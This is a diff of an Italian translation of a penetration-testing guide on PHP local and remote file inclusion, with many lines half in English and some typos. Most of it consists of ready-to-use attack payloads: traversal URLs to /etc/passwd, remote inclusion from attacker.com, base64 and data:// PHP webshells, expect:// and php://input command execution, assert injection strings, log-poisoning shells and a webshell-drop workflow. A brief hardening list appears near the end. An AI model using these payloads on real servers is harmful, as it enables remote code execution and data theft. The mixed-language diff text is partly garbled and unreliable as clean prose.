-Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file restrtti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è costruire un percorso di file che, una volta alterato dalla misura di sicurezza, punti ancora al file desiderato.
+Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file riservati bypassing alcune misure di sicurezza che aggiungono caratteri aggiuntivi alla fine dei percorsi dei file. L'obiettivo è creare un percorso di file che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato.
 
-In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Per esempio:
+In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:
 
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
-- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
-- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono tutte trattate come lo stesso percorso.
+- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (ottenendo `passwd/`) non cambia il file target.
+- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede.
 
-Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
+Gli esempi forniti mostrano come sfruttare path truncation per accedere a /etc/passwd, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
+In questi scenari, il numero di traversals necessari potrebbe aggirarsi intorno a 2027, ma questo valore può variare in base alla configurazione del server.
 
-- **Using Dot Segments and Additional Characters**: Le sequenze di traversal (`../`) combinate con segmenti di punti aggiuntivi e caratteri possono essere usate per navigare il filesystem, ignorando efficacemente le stringhe aggiunte dal server.
-- **Determining the Required Number of Traversals**: Con tentativi ed errori è possibile trovare il numero preciso di sequenze `../` necessarie per raggiungere la directory root e poi `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
-- **Starting with a Fake Directory**: È pratica comune iniziare il percorso con una directory inesistente (ad esempio `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.
+- **Using Dot Segments and Additional Characters**: Le sequenze di traversal (`../`) combinate con ulteriori dot segments e caratteri possono essere usate per navigare nel file system, ignorando efficacemente le stringhe apposte dal server.
+- **Determining the Required Number of Traversals**: Per tentativi si può trovare il numero preciso di `../` necessari per raggiungere la directory di root e poi `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
+- **Starting with a Fake Directory**: È pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.
 
-Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e testare è spesso necessario per trovare il metodo più efficace.
+Quando si impiegano tecniche di path truncation, è cruciale capire il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
 
-**Questa vulnerabilità è stata corretta in PHP 5.3.**
+**This vulnerability was corrected in PHP 5.3.**
 
 ### **Filter bypass tricks**
 ```
@@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion
 
-In php questo è disabilitato di default perché **`allow_url_include`** è **Off.** Deve essere **On** per funzionare, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
+In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** per funzionare, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE:
+Se per qualche motivo **`allow_url_include`** è **On**, ma PHP è **filtering** l'accesso a pagine web esterne, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il data protocol con base64 per decodificare un b64 PHP code e egt RCE:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con quello e, dopo il b64 decode, quella parte restituirà solo junk e il vero codice PHP verrà incluso (e quindi eseguito).
->
-> Un altro esempio **che non usa il protocollo `php://`** sarebbe:
+> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attacker aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e, dopo la b64 decode, quella parte restituirà solo dati inutili e il vero codice PHP verrà incluso (e quindi eseguito).
+
+Un altro esempio **non usando il protocollo `php://`** sarebbe:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Elemento root in Python
+## Python Root element
 
-In Python, in un codice come il seguente:
+In python, in un codice come il seguente:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso precedente viene semplicemente rimosso**:
+Se l'utente passa un **absolute path** a **`file_name`**, il **previous path** viene semplicemente rimosso:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Questo è il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
 
-> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
+> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e la concatenazione continua dal componente con percorso assoluto.
 
-## Java Elenco delle directory
+## Java: elencare directory
 
-Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, **viene restituito l'elenco della directory**. Questo non succede in altri linguaggi (afaik).
+Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito un **elenco della directory**. Questo non succede in altri linguaggi (afaik).
 
 ## Top 25 parametri
 
-Ecco la lista dei 25 parametri principali che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Ecco la lista dei top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@@ -211,34 +211,34 @@ Ecco la lista dei 25 parametri principali che potrebbero essere vulnerabili a lo
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI using PHP wrappers & protocols
+## LFI / RFI usando PHP wrappers & protocolli
 
 ### php://filter
 
-I filter PHP permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
+I filtri PHP permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
 - `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che è tra i caratteri "<" e ">")
-- Nota che questo filtro è scomparso nelle versioni moderne di PHP
+- Nota che questo filtro è scomparso dalle versioni moderne di PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
-- `convert.iconv.*` : Trasforma in una diversa codifica(`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
+- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
 
 > [!WARNING]
-> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per più informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o far sì che una funzione come include elabori testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra molta info)
-- `zlib.inflate`: Decomprimi i dati
+- `zlib.deflate`: Comprimi il contenuto (utile se si exfiltrano molte informazioni)
+- `zlib.inflate`: Decomprime i dati
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
-- `mcrypt.*` : Deprecati
-- `mdecrypt.*` : Deprecati
+- `mcrypt.*` : Deprecato
+- `mdecrypt.*` : Deprecato
 - Altri filtri
 - Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**:
 - `consumed`
@@ -275,35 +275,35 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 
 ### Using php filters as oracle to read arbitrary files
 
-[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una **esfiltrazione booleana del file (carattere per carattere) usando php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo sufficientemente grande da far generare a php un'eccezione.
+[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far php lanciare un'eccezione.
 
-Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma qui c'è un rapido riassunto:
+Nel post originale puoi trovare una spiegazione dettagliata della tecnica, qui invece un rapido riassunto:
 
-- Usa il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
-- Questo verrà usato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php scatenerà un **errore**.
-- Il filtro **dechunk** **rimuoverà tutto se il primo char non è esadecimale**, quindi possiamo sapere se il primo char è hex.
-- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà generare l'errore di php.
-- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a` per esempio perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
-- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri caratteri come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell'intervallo hex).
-- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per ottenere il numero.
-- Il problema finale è capire **come leakare più della lettera iniziale**. Usando filtri di ordine della memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo.
-- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di junk all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivotare con i successivi 2 byte**, e **cancellare i dati fino al junk** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo finché non si raggiunge il bit desiderato da leakare.
+- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
+- Questo viene usato per generare un **testo talmente grande quando la lettera iniziale è indovinata correttamente** che php scatenerà un **errore**
+- Il filtro **dechunk** **rimuove tutto se il primo char non è un hexadecimal**, quindi possiamo sapere se il primo char è hex.
+- Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando applichiamo sufficienti trasformazioni da farla uscire dal range esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare un errore di php.
+- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, per esempio, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l'errore di php viene innescato perché si moltiplica con la bomba iniziale.
+- Usando altre trasformazioni come **rot13** all'inizio è possibile leak altri chars come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nel range hex).
+- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leak le prime 2 lettere per leak il numero.
+- Il problema finale è capire **come leak più della lettera iniziale**. Usando filtri di ordine di memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo.
+- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di junk data all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivotare con i successivi 2 byte**, e **cancellare i dati fino ai junk data** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leak.
 
-Nel post è stato anche leakato uno strumento per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+Nel post è stato anche pubblicato uno strumento per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
 ### php://fd
 
-Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per esfiltrare il contenuto di file aperti:
+This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
+Puoi anche usare **php://stdin, php://stdout and php://stderr** per accedere ai **file descriptors 0, 1 and 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
 
 ### zip:// e rar://
 
-Carica un file Zip o Rar con una PHPShell all'interno e accedi.\
-Per poter abusare del protocollo rar **deve essere specificamente attivato**.
+Carica un file Zip o Rar con una PHPShell all'interno e accedervi.\
+Per poter abusare del protocollo rar, **deve essere attivato specificamente**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-Nota che questo protocollo è limitato dalle configurazioni php **`allow_url_open`** e **`allow_url_include`**
+Nota che questo protocollo è limitato dalle configurazioni di php **`allow_url_open`** e **`allow_url_include`**
 
 ### expect://
 
-Expect deve essere abilitato. Puoi eseguire codice usando questo:
+Expect deve essere attivato. Puoi eseguire codice usando questo:
 ```
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
 ```
 ### input://
 
-Specifica il payload nei parametri POST:
+Specifica il tuo payload nei parametri POST:
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 ### phar://
 
-Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento di file. Lo snippet di codice PHP mostrato di seguito dimostra la creazione di un file `.phar`:
+Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web utilizza funzioni come `include` per il caricamento di file. Lo snippet di codice PHP qui sotto mostra la creazione di un file `.phar`:
 ```php
 <?php
 $phar = new Phar('test.phar');
@@ -358,11 +358,11 @@ Per compilare il file `.phar`, eseguire il seguente comando:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Alla sua esecuzione verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per compromettere vulnerabilità di Local File Inclusion (LFI).
+Alla sua esecuzione verrà creato un file chiamato `test.phar`, che potrebbe potenzialmente essere sfruttato per attaccare Local File Inclusion (LFI).
 
-Nel caso in cui l'LFI si limiti solamente alla lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, si potrebbe tentare lo sfruttamento di una vulnerabilità di deserialization. Questa vulnerabilità è legata alla lettura di file usando il protocollo `phar`.
+Nei casi in cui l'LFI effettua solo la lettura di file senza eseguire il codice PHP in essi, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, si potrebbe tentare di sfruttare una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo `phar`.
 
-Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di deserialization nel contesto dei file `.phar`, consultare il documento linkato qui sotto:
+For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
 
 [Phar Deserialization Exploitation Guide](phar-deserialization.md)
 
@@ -373,74 +373,74 @@ phar-deserialization.md
 
 ### CVE-2024-2961
 
-È stato possibile abusare di **any arbitrary file read from PHP that supports php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **alterare la catena di free chunks** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\  
-È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters.
+È stato possibile abusare di **qualsiasi lettura arbitraria di file da PHP che supporti php filters** per ottenere una RCE. La descrizione dettagliata può essere [**trovata in questo post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Breve riassunto: un **3 byte overflow** nell'heap di PHP è stato sfruttato per **alterare la catena di free chunks** di una dimensione specifica in modo da poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
+È stato possibile allocare chunk di dimensioni specifiche abusando di ulteriori php filters.
 
 ### Altri protocolli
 
-Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Controlla altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
 
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non è chiaro come questo possa essere utile in un file inclusion attack)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è veramente utile qui)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames matching pattern (Non restituisce niente di stampabile, quindi non molto utile qui)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari)
 
-## LFI tramite 'assert' di PHP
+## LFI via PHP's 'assert'
 
-I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si usa la funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene verificato ma non correttamente sanitizzato.
+I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si tratta della funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l'input che contiene caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato.
 
-Ad esempio, il codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo:
+Per esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Sebbene ciò miri a bloccare il traversal, crea involontariamente un vettore per l'iniezione di codice. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:
+Mentre questo mira a fermare traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
-Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
+Analogamente, per eseguire comandi di sistema arbitrari, si potrebbe usare:
 ```plaintext
 ' and die(system("id")) or '
 ```
-È importante **URL-encode questi payload**.
+È importante effettuare l'URL-encoding di questi payload.
 
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Questa tecnica è rilevante nei casi in cui tu **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato.
+> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **PHP function** che accederà a un file ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato.
 
-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) è spiegato come un blind path traversal possa essere abusato tramite PHP filter per **esfiltrare il contenuto di un file tramite un error oracle**.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) è spiegato come un blind path traversal possa essere abusato tramite PHP filter per **exfiltrare il contenuto di un file via un error oracle**.
 
-In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function che apre** il file genererà un **errore**.
+In sintesi, la tecnica usa la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function che apre** il file scatenerà un **errore**.
 
-Poi, per leakare il primo carattere viene usato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **posizionare altri caratteri all'inizio e leakarli**.
+Poi, per leakare il primo char viene usato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13** e infine vengono usati i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** per **posizionare altri char all'inizio e leakarli**.
 
-**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
-Per i dettagli tecnici controlla il post menzionato!
+Per i dettagli tecnici consulta il post menzionato!
 
 ## LFI2RCE
 
 ### Arbitrary File Write via Path Traversal (Webshell RCE)
 
-Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (ad es., un filename o un URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria su file. Se puoi posizionare il payload in una directory esposta dal web, di solito ottieni RCE non autenticata lasciando una webshell.
+Quando il codice server-side che riceve/carica file costruisce il path di destinazione usando dati controllati dall'utente (es. un filename o una URL) senza canonicalizzarli e validarli, segmenti `..` e path assoluti possono evadere la directory prevista e causare una scrittura file arbitraria. Se riesci a posizionare il payload sotto una directory esposta dal web, di solito ottieni RCE non autenticata droppando una webshell.
 
-Tipico workflow di sfruttamento:
-- Identificare un write primitive in un endpoint o in un background worker che accetta un path/filename e scrive contenuto su disco (ad es., ingestion driven by messages, XML/JSON command handlers, ZIP extractors, ecc.).
+Workflow tipico di sfruttamento:
+- Identificare una primitive di scrittura in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es. ingestion driven by messages, XML/JSON command handlers, ZIP extractors, ecc.).
 - Determinare le directory esposte dal web. Esempi comuni:
   - Apache/PHP: `/var/www/html/`
   - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
   - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Creare un percorso con traversal che esca dalla directory di storage prevista verso la webroot e includere il contenuto della webshell.
+- Creare un percorso traversal che esca dalla directory di storage prevista verso il webroot e includere il contenuto della webshell.
 - Visitare il payload droppato ed eseguire comandi.
 
 Note:
-- Il servizio vulnerabile che esegue la scrittura potrebbe ascoltare su una porta non-HTTP (ad es., un JMF XML listener su TCP 4004). Il portale web principale (su porta diversa) servirà poi il tuo payload.
-- Nelle stack Java, queste scritture su file sono spesso implementate con semplice concatenazione di `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
+- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es. un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload.
+- Sulle stack Java, queste scritture file sono spesso implementate con semplici concatenazioni `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
 
 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 ```xml
@@ -466,25 +466,25 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Hardening che neutralizza questa classe di bug:
-- Risolvere al percorso canonico e assicurarsi che sia un discendente di una directory di base consentita.
-- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire nomi di file generati.
-- Eseguire il writer con un account a basso privilegio e separare le directory di scrittura dalle root servite.
+Mitigazioni che contrastano questa classe di bug:
+- Risolvi il percorso in una forma canonica e verifica che sia sottodirectory di una directory base consentita.
+- Rifiuta qualsiasi percorso contenente `..`, root assoluti o lettere di unità; preferisci nomi di file generati.
+- Esegui il writer con un account a basso privilegio e separa le directory di scrittura dalle directory servite.
 
 ## Remote File Inclusion
 
 Spiegato in precedenza, [**follow this link**](#remote-file-inclusion).
 
-### Tramite file di log Apache/Nginx
+### Via Apache/Nginx log file
 
-Se il server Apache o Nginx è **vulnerabile a LFI** nella funzione di include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire nel **user agent** o in un **GET parameter** una php shell come **`<?php system($_GET['c']); ?>`** e includere quel file
+If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
 
 > [!WARNING]
-> Nota che **se usi le virgolette doppie** per la shell invece delle **virgolette singole**, le virgolette doppie saranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** lì e **null'altro verrà eseguito**.
+> Nota che **se usi le virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente altro verrà eseguito**.
 >
-> Inoltre, assicurati di **scrivere correttamente il payload** altrimenti PHP restituirà un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
